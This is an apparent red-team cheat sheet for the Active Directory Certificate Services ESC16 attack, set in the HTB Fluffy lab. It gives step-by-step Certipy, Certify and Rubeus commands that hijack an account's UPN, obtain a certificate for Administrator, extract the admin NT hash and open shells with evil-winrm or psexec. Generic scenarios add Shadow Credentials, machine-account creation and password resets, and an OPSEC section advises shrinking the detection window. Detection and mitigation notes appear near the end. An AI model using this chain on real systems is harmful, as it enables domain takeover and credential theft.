AD ^: Active Directory

ESC16 — Security Extension Disabled on CA (Globally)

ESC16 was introduced with Certipy v5 by Oliver Lyak and is one of the newest ADCS attack techniques. The vulnerability exists when the CA has been…

advanced updated 2026-08-10 Certipy · BloodHound · Evil-WinRM · faketime

ESC16 — Security Extension Disabled on CA (Globally)

Quick Reference

FieldValue
CategoryCA-Level Configuration Abuse
DifficultyMedium
Pre-requisitesszOID_NTDS_CA_SECURITY_EXT in CA DisableExtensionList + GenericWrite on enrollable account
ToolsCertipy v5+, BloodHound
OPSEC NoiseMedium — UPN swap generates 4738 events
One-linerCA globally disables SID security extension → KDC falls back to UPN matching → swap controlled account’s UPN to administrator → request cert → authenticate as admin.

ESC16 was introduced with Certipy v5 by Oliver Lyak and is one of the newest ADCS attack techniques. The vulnerability exists when the CA has been configured to globally disable the szOID_NTDS_CA_SECURITY_EXT extension (1.3.6.1.4.1.311.25.2) — also known as the SID security extension. This extension was Microsoft’s patch response to Certifried (CVE-2022-26923) — it embeds the requester’s objectSid into every issued certificate, allowing the KDC to perform strong certificate binding and verify that the certificate identity matches the AD object.

When this extension is disabled at the CA level, every single certificate issued by that CA lacks the SID binding — making the KDC fall back to UPN-based authentication for all certificates. This means the KDC trusts whatever UPN is embedded in the cert without verifying the objectSid — and since you can temporarily swap a controlled account’s UPN to administrator, you can get a legitimately CA-signed certificate that the DC accepts as proof you are Administrator.

This is effectively ESC6’s post-patch bypass — it achieves the same outcome through a different mechanism.


The Core Mechanism

The CA stores disabled extensions in a registry key:

HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA-NAME>\PolicyModules\
CertificateAuthority_MicrosoftDefault.Policy
DisableExtensionList = 1.3.6.1.4.1.311.25.2

When szOID_NTDS_CA_SECURITY_EXT is in this list, no certificate issued by this CA will ever contain a SID extension — regardless of template configuration, regardless of StrongCertificateBindingEnforcement settings on the KDC. The SID extension simply never gets embedded at issuance time.


Required Conditions

ConditionWhere to Check
szOID_NTDS_CA_SECURITY_EXT in CA’s DisableExtensionListCA output: Security Extension: Disabled
You have GenericWrite or WriteProperty over at least one domain accountBloodHound ACE edges / certipy output
That account can enroll in a Client Auth templateTemplate Enrollment Rights includes the account or its group
Request Disposition: IssueCA config

💡 The GenericWrite account does not need to be privileged. On Fluffy, you had GenericWrite over ca_svc — a service account, not an admin. That was enough.


Step 0 — Enumeration

# Standard scan
certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \
  -dc-ip $TARGET -vulnerable -stdout

# With hash (PtH) — format is -hashes :NTHASH  (leading colon = empty LM)
certipy-ad find -u 'winrm_svc@fluffy.htb' -hashes 33bd09dcd697600edf6b3a7af4875767 \
  -dc-ip $TARGET -vulnerable -stdout

[!bug] cannot import name 'asn1' from 'cryptography.hazmat' This is not a command error — Certipy v5 needs a newer cryptography than the stale one in ~/.local. Certipy runs but every operation dies on import. Fix by reinstalling Certipy in an isolated environment so it pulls its own dependency set:

pipx install certipy-ad        # or: uv tool install certipy-ad

If you must keep the system install, upgrade the shadowing library: pip install --user --upgrade 'cryptography>=44' asn1crypto. Confirm with certipy-ad version.

What Vulnerable ESC16 Output Looks Like

Certificate Authorities
  0
    CA Name                             : fluffy-DC01-CA
    DNS Name                            : DC01.fluffy.htb
    Web Enrollment
      HTTP  Enabled                     : False     ← ESC8 not available
      HTTPS Enabled                     : False
    User Specified SAN                  : Disabled  ← ESC6 not available
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled   ← ESC11 not available

    [!] Vulnerabilities
      ESC16 : Security extension is disabled.

💡 This is exactly what Fluffy showed — ESC8, ESC6 and ESC11 all closed off, but ESC16 present. The CA had the SID extension globally disabled.

[!note] The real tell is Disabled Extensions, and an empty template list is normal Depending on version, Certipy may not print a tidy ESC16 : Security extension is disabled line. The definitive indicator is on the CA object:

Disabled Extensions : 1.3.6.1.4.1.311.25.2

1.3.6.1.4.1.311.25.2 is szOID_NTDS_CA_SECURITY_EXT. If it appears in Disabled Extensions, the CA is ESC16-vulnerable — full stop.

Running with -vulnerable and seeing Certificate Templates : [!] Could not find any certificate templates is expected, not a failure. -vulnerable filters to template-level findings (ESC1/2/3/4/9/13/15…); ESC16 is a CA-wide flaw, so it shows under the CA config while the filtered template list is empty. To choose a template to enrol in, re-run without -vulnerable and pick one with a Client Authentication / Smart Card Logon / PKINIT EKU (e.g. User).

Harmless noise in the same run: Failed to connect to remote registry ... Trying again (RRP starts the service and retries) and Error checking web enrollment: timed out (Web Enrollment is Enabled: False — only relevant to ESC8).

[!warning] The ESC16 verdict only prints if you authenticate as an account that can enroll This is the #1 reason people see Disabled Extensions : 1.3.6.1.4.1.311.25.2 but no [!] Vulnerabilities → ESC16 line. Certipy gates the verdict (find.py):

if disabled_extensions and will_issue and user_can_enroll:   # ← user_can_enroll
    vulnerabilities["ESC16"] = "Security Extension is disabled."

user_can_enroll means the account in -u holds the Enroll right on the CA. On Fluffy the CA grants Enroll to Cert Publishers (and Administrators) — and ca_svc is in Cert Publishers, winrm_svc is not.

# As winrm_svc → Disabled Extensions shown, but NO ESC16 line (winrm_svc can't enroll)
certipy-ad find -u winrm_svc@fluffy.htb -hashes :33bd... -dc-ip $DC -vulnerable -stdout

# As ca_svc → ESC16 verdict prints (ca_svc enrolls via Cert Publishers)
certipy-ad find -u ca_svc@fluffy.htb -hashes :ca0f... -dc-ip $DC -vulnerable -stdout

Enumerate ESC16 as the enroller, not the writer. Either way Disabled Extensions : 1.3.6.1.4.1.311.25.2 alone already proves the CA is vulnerable — the verdict line is just certipy confirming you can reach it.


Full Attack Chain — Linux (Certipy v5.1.0)

The attack is a 4-step chain: read + hijack the UPN → request the cert as the controlled account → restore the UPN → authenticate. Commands below use the real Fluffy values (winrm_svc hash 33bd09..., ca_svc hash ca0f4f...).

[!warning] account actions are create / read / update / delete There is no lookup action. Use read to view an account and update to change it. The action is a positional argument at the end of the command, and -user <SAM> is required.

[!note] Why two different accounts? (This is not overcomplication) The chain uses two accounts for two distinct jobs, and on Fluffy you cannot merge them:

  • The writer (winrm_svc) — the account that can write the target’s userPrincipalName. On Fluffy this right is not held by winrm_svc directly — it belongs to the Service Accounts group, which has GenericWrite over ca_svc. winrm_svc is a member of that group, so it inherits the write. It runs every account read/update command (authenticated as -u winrm_svc, targeting -user ca_svc).
  • The enroller (ca_svc) — the account with enrollment rights on the CA (here via Cert Publishers). It runs the req command (authenticated as -u ca_svc), because its UPN is the one you hijacked.

Why the ca_svc hash alone is not enough: having ca_svc’s hash lets you authenticate as ca_svc, but ca_svc is not a member of Service Accounts — it is the target of that group’s GenericWrite, so it cannot rename itself. An account cannot rewrite its own UPN unless it explicitly holds that right. The rename right lives on the group; your way into the group is winrm_svc. Hash = who you are; the ACE = what you may do.

When one account is enough: if a single account can both enroll and have its UPN written by you (e.g. a computer account you created via MAQ — see Scenario 3 — or any account you have GenericWrite over that also enrolls), use it for every step and the -u is identical throughout. Fluffy needs two only because ca_svc holds the enrollment right while a different principal (the Service Accounts group, reachable via winrm_svc) holds the write over ca_svc.

Do you even need the read step? No — it only records the original UPN so you can restore it exactly in Step 3. If you already know it (ca_svc@fluffy.htb), skip straight to the update. The restore in Step 3 is not optional, though: certipy auth fails with KDC_ERR_CLIENT_NAME_MISMATCH until the controlled account stops squatting the victim’s UPN (see Step 3). The .pfx stays valid regardless; the auth does not work until you restore.


Step 1 — Read, then hijack ca_svc’s UPN

You need write over the controlled account’s userPrincipalName (here winrm_svc can write ca_svc because the Service Accounts group holds GenericWrite over ca_svc and winrm_svc is a member — ca_svc itself is not, so it cannot rename itself), and ca_svc must be able to enrol in a Client Auth template (e.g. User).

# Read the current UPN first so you can restore it exactly
certipy-ad account -u 'winrm_svc@fluffy.htb' -hashes 33bd09dcd697600edf6b3a7af4875767 \
  -dc-ip $TARGET -user ca_svc read
# Set ca_svc's UPN to the target identity
certipy-ad account -u 'winrm_svc@fluffy.htb' -hashes 33bd09dcd697600edf6b3a7af4875767 \
  -dc-ip $TARGET -user ca_svc -upn administrator update

[!warning] Do Step 2 immediately, and always restore in Step 3 before Step 4 The UPN swap is a live AD change. Request the cert right away, then restore in Step 3 before you authenticate — the restore is mandatory, not just hygiene (Step 4 fails with a name mismatch otherwise), and it also avoids breaking ca_svc auth and shrinks the detection window.


Step 2 — Request a certificate as ca_svc

Enrol as ca_svc (whose UPN is now administrator) in a Client Auth template. Because the CA strips the SID extension (ESC16), the issued cert maps by UPN, so it authenticates as Administrator.

certipy-ad req -u ca_svc -hashes ca0f4f9e9eb8a092addf53bb03fc98c8 \
  -dc-ip $TARGET -target dc01.fluffy.htb -ca fluffy-DC01-CA -template User
# → Got certificate with UPN 'administrator' ; saved administrator.pfx

Step 3 — Restore the UPN — REQUIRED before you authenticate

certipy-ad account -u 'winrm_svc@fluffy.htb' -hashes 33bd09dcd697600edf6b3a7af4875767 \
  -dc-ip $TARGET -user ca_svc -upn ca_svc@fluffy.htb update

[!danger] This is not just cleanup — Step 4 FAILS without it While ca_svc still holds userPrincipalName = administrator, the cert’s UPN administrator maps to ca_svc, not to the real Administrator (ESC16 certs carry no SID, so the KDC maps purely by name — and your account is squatting that name). Authenticating then dies with:

[-] Name mismatch between certificate and user 'administrator'

which is the KDC returning KDC_ERR_CLIENT_NAME_MISMATCH. Restore the UPN first, so nothing else claims administrator; the KDC then falls back to the built-in Administrator’s sAMAccountName and the auth maps correctly. The .pfx itself never expires from this — restoring does not invalidate it (identity is locked in at signing) — but the authentication will keep failing until you restore. Order is fixed: swap → req → restore → auth.


Step 4 — Authenticate with the cert for the admin NT hash

certipy-ad auth -dc-ip $TARGET -pfx administrator.pfx -u administrator -domain fluffy.htb
# → Got hash for 'administrator@fluffy.htb': aad3b435...:8da83a3fa618b6e3a00e93f676c92a6e

[!warning] Clock skew (Fluffy) certipy auth uses PKINIT and does not self-correct skew. If it throws KRB_AP_ERR_SKEW, prefix faketime (see faketime-cheatsheet) or sync your clock: sudo rdate -n $TARGET.

faketime -f '+7h' certipy-ad auth -dc-ip $TARGET -pfx administrator.pfx -u administrator -domain fluffy.htb

Step 5 — Shell

Preferred — pass-the-hash over WinRM (no DCOM, no Kerberos):

evil-winrm -i $TARGET -u administrator -H 8da83a3fa618b6e3a00e93f676c92a6e

Kerberos wmiexec — only if RPC/DCOM is reachable:

export KRB5CCNAME=administrator.ccache
wmiexec.py -k -no-pass DC01.fluffy.htb

[!warning] wmiexec needs DCOM (port 135 + a dynamic high RPC port) — often filtered on a DC On Fluffy, 135 is filtered while 445 and 5985 are open, so wmiexec.py negotiates SMB then dies with Could not connect: timed out on the DCOM leg. That is a port/firewall problem, not a bad ticket. Use a method that fits the open ports:

  • WinRM 5985evil-winrm (above) — cleanest with the NT hash.
  • SMB 445psexec.py / atexec.py / smbexec.py, e.g. psexec.py -hashes :8da83a3fa618b6e3a00e93f676c92a6e administrator@$TARGET.

Pass-the-hash (NTLM) also sidesteps clock skew. Any -k/Kerberos tool fails with KRB_AP_ERR_SKEW if your clock is >5 min off the DC — sync first (sudo ntpdate -u $TARGET or sudo rdate -n $TARGET) or prefix faketime. The -H <hash> methods above use NTLM and don’t care about the clock.


Generic Exploitation — Every Way to Do It

Fluffy is only one shape of ESC16. Strip it to the essentials: you need an account you can (1) authenticate as so it can enroll, and whose (2) userPrincipalName you can set to a victim. Solve those two sub-problems independently and any combination works. The pattern is always write the UPN → enroll → restore → auth; only how you obtain the account and who writes the UPN changes.

The two sub-problems

(1) An enroll-capable account you can authenticate as. Any account with enrollment rights on a Client-Auth template — the default User template lets all Domain Users enroll. You obtain one by:

MethodRequirementResult
Already have credsyou hold its password / NT hashready to enroll (Fluffy: ca_svc)
Shadow CredentialsGenericWrite/GenericAll/AddKeyCredentialLink over itPKINIT → its NT hash
Password resetForceChangePassword/GenericAll over itset a password you know
Create onems-DS-MachineAccountQuota > 0 (default 10)a computer account you fully own

(2) Write access to that account’s userPrincipalName:

MethodRequirement
Direct ACLGenericWrite / GenericAll / WriteProperty(userPrincipalName) over the account
Ownershipyou created the account (MAQ) → you own every attribute
Separate writera different principal holds the write edge (Fluffy: winrm_svc → ca_svc)

If one account satisfies both, it is a one-account attack. If the write comes from a different principal, it is two. Nothing else changes.

Scenario matrix

#What you holdEnroll asWho writes the UPNAccounts
1GenericAll/GenericWrite over target T (no creds yet)T after Shadow Credsyou (over T)one
2Creds for E + separate writer W with GenericWriteEEWtwo (Fluffy)
3MachineAccountQuota > 0new EVILPC$you (own it)one (created)
4GenericAll/ForceChangePassword over user TT after pw resetyou (over T)one

Scenario 1 — One account you have GenericWrite/GenericAll over (no creds yet)

A single control primitive does the whole chain: shadow-cred it for a hash, then swap its UPN and enroll as it.

# 0. Confirm ESC16
certipy-ad find -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -vulnerable -stdout

# 1. Recover the target's hash via Shadow Credentials
certipy-ad shadow auto -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -dc-host dc01.domain.htb -account target_svc
#    → NT hash for target_svc

# 2. Hijack its UPN to the victim
certipy-ad account -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -user target_svc -upn administrator update

# 3. Enroll AS the target (its UPN is now administrator)
certipy-ad req -u target_svc -hashes :<target_hash> -dc-ip $DC -target dc01.domain.htb -ca 'DOMAIN-CA' -template User

# 4. Restore the UPN, then authenticate with the cert
certipy-ad account -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -user target_svc -upn 'target_svc@domain.htb' update
certipy-ad auth -pfx administrator.pfx -u administrator -domain domain.htb -dc-ip $DC

Scenario 2 — Two accounts (the Fluffy shape)

Writer ≠ enroller — you hold creds for both. Generic form of the full chain above:

certipy-ad account -u writer@domain.htb   -hashes :<writer_hash>   -dc-ip $DC -user enroller -upn administrator update
certipy-ad req     -u enroller            -hashes :<enroller_hash> -dc-ip $DC -target ca.domain.htb -ca 'DOMAIN-CA' -template User
certipy-ad account -u writer@domain.htb   -hashes :<writer_hash>   -dc-ip $DC -user enroller -upn 'enroller@domain.htb' update
certipy-ad auth    -pfx administrator.pfx -u administrator -domain domain.htb -dc-ip $DC

Scenario 3 — MachineAccountQuota (bring your own account)

No pre-existing writable account required if you can add machines. You own what you create, so you control its UPN outright.

# 1. Create a computer account you fully control
certipy-ad account -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -user 'EVILPC$' -pass 'Passw0rd!' create
#    (equivalents: addcomputer.py -computer-name EVILPC$ ... / Powermad New-MachineAccount)

# 2. Set its UPN to the victim
certipy-ad account -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -user 'EVILPC$' -upn administrator update

# 3. Enroll as EVILPC$ in a template it can enroll in
certipy-ad req -u 'EVILPC$' -p 'Passw0rd!' -dc-ip $DC -target ca.domain.htb -ca 'DOMAIN-CA' -template User

# 4. Clear EVILPC$'s UPN BEFORE auth (else the cert maps back to EVILPC$, not the victim)
certipy-ad account -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -user 'EVILPC$' -upn 'EVILPC$@domain.htb' update
#    (or just delete the machine: certipy-ad account ... -user 'EVILPC$' delete)

# 5. Auth
certipy-ad auth -pfx administrator.pfx -u administrator -domain domain.htb -dc-ip $DC

Computer accounts have no UPN by default — setting one is exactly the ESC16 lever. Enroll in a template whose enrollment scope includes computers (or Domain Computers), or one that emits the UPN.

Scenario 4 — ForceChangePassword / GenericAll over a user

# 1. Reset the target's password (any of these, per the right you hold)
certipy-ad account -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -user target_user -pass 'NewPass123!' update
#    equivalents: net rpc password / bloodyAD set password / pth changepasswd
# 2-4. Continue exactly as Scenario 1 from the UPN swap, authenticating as target_user with the new password.

Choosing the victim and the template

  • Victim is any privileged identity, not just administrator — any Domain Admin or DA-equivalent works. Use the bare sAMAccountName as the UPN value (e.g. administrator, not administrator@domain.htb) so it matches the victim’s implicit UPN. This only works if the victim has no explicit userPrincipalName already set (the built-in Administrator usually does not); if it does, set your controlled account’s UPN to that exact string instead.
  • Template must carry a Client Authentication, Smart Card Logon, or PKINIT EKU and permit your enroll account to enroll. Default User (for users) and Machine (for computers) normally qualify. Machine/computer certificates map by DNS, so when enrolling with a computer account for a UPN-based ESC16, prefer a user-style template or one that emits the UPN.
  • Any CA on the domain with ESC16 set is usable — you are not tied to the CA that issued other certs. certipy find -vulnerable lists every affected CA; pass the right -ca / -target.

Windows tooling (Certify + Rubeus)

# Enumerate
Certify.exe find /vulnerable

# Swap the UPN with native tooling, then request:
Set-ADUser target_svc -UserPrincipalName administrator          # or PowerView Set-DomainObject
Certify.exe request /ca:CA-HOST\CA-NAME /template:User          # run as target_svc
Set-ADUser target_svc -UserPrincipalName target_svc@domain.htb  # restore

# Convert + authenticate
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:<pfx-pw> /ptt

ESC16 Visual Attack Flow (Fluffy-style)

[winrm_svc ∈ Service Accounts group ─ group has GenericWrite over ca_svc]
            │  (ca_svc cannot rename itself; winrm_svc inherits the write via the group)
            │  certipy account -u winrm_svc -user ca_svc -upn administrator update

[ca_svc.userPrincipalName = "administrator"]  ← Temporary

            │  certipy req -u ca_svc -template User
            │  CA issues cert — reads UPN = "administrator"
            │  No SID extension embedded (ESC16)

[administrator.pfx] ← Signed by CA with UPN = administrator

            │  certipy account -user ca_svc -upn ca_svc@fluffy.htb update

[UPN restored] ← REQUIRED before auth (else cert maps back to ca_svc); .pfx still valid forever

            │  certipy auth -pfx administrator.pfx

[TGT + NT Hash for Administrator]


      [DOMAIN OWNED]

ESC16 vs ESC9 — The Relationship

ESC16 is the CA-level version of ESC9. The difference:

ESC9ESC16
Where flag is setPer-template: CT_FLAG_NO_SECURITY_EXTENSIONCA-wide: DisableExtensionList
Templates affectedOnly templates with the flagEvery template on that CA
Certipy detects asESC9 on specific templateESC16 on CA object
Attack chainUPN swap → req → restoreUPN swap → req → restore (identical)
IntroducedSpecterOps 2021Oliver Lyak, Certipy v5, 2024

ESC16 vs ESC6 — Post-Patch Equivalence

ESC6ESC16
MechanismCA accepts user-specified SAN at enrollmentCA doesn’t embed SID — KDC falls back to UPN matching
Post-KB5014754Blocked if StrongCertificateBindingEnforcement = 2Still works — SID is never in cert so enforcement is bypassed at source
Requires UPN swap❌ — inject SAN directly✅ — must temporarily swap UPN
Modern relevanceLargely historicalCurrent and dangerous

Detection Indicators

  • Event ID 4738 — User account changed — specifically watch for userPrincipalName attribute being modified on service or machine accounts
  • Rapid pair of 4738 events — UPN changed then immediately changed back within seconds is the ESC16 fingerprint
  • Event ID 4887 — Certificate issued where the UPN in the cert differs from the account’s permanent UPN in AD
  • CA registry audit — Alert on any modification to the DisableExtensionList registry value
  • BloodHoundGenericWrite edges from low-priv principals to accounts with enrollment rights are the pre-condition indicator

Mitigation

  • Remove szOID_NTDS_CA_SECURITY_EXT from DisableExtensionList — this is the direct fix; the SID extension must be re-enabled:
    # On the CA server
    certutil -setreg CA\DisableExtensionList -
    net stop certsvc && net start certsvc
  • Set StrongCertificateBindingEnforcement = 2 on all DCs — enforces SID validation on cert auth
  • Audit GenericWrite ACEs — Any low-priv principal with GenericWrite over an account that can enroll in auth templates is a pre-condition for ESC16
  • Monitor UPN changes on accounts that hold enrollment rights — UPN modifications are rare and should always alert
  • Re-issue all certificates after enabling the SID extension — existing certs without objectSid remain exploitable until they expire

OPSEC Considerations

ActionEvent GeneratedNoise Level
UPN swap on controlled accountEvent ID 4738 (User Account Changed)🟡 Medium
Certificate requestEvent ID 4887 on CA🟢 Low
UPN restoreEvent ID 4738 (second occurrence)🟡 Medium
PKINIT authenticationEvent ID 4768 (TGT request)🟢 Low

⚠️ The rapid pair of 4738 events (UPN changed → UPN restored within seconds) is the primary detection fingerprint. Minimize the time between Steps 3–5. The certificate request itself is low-noise since it goes through a legitimate template.


References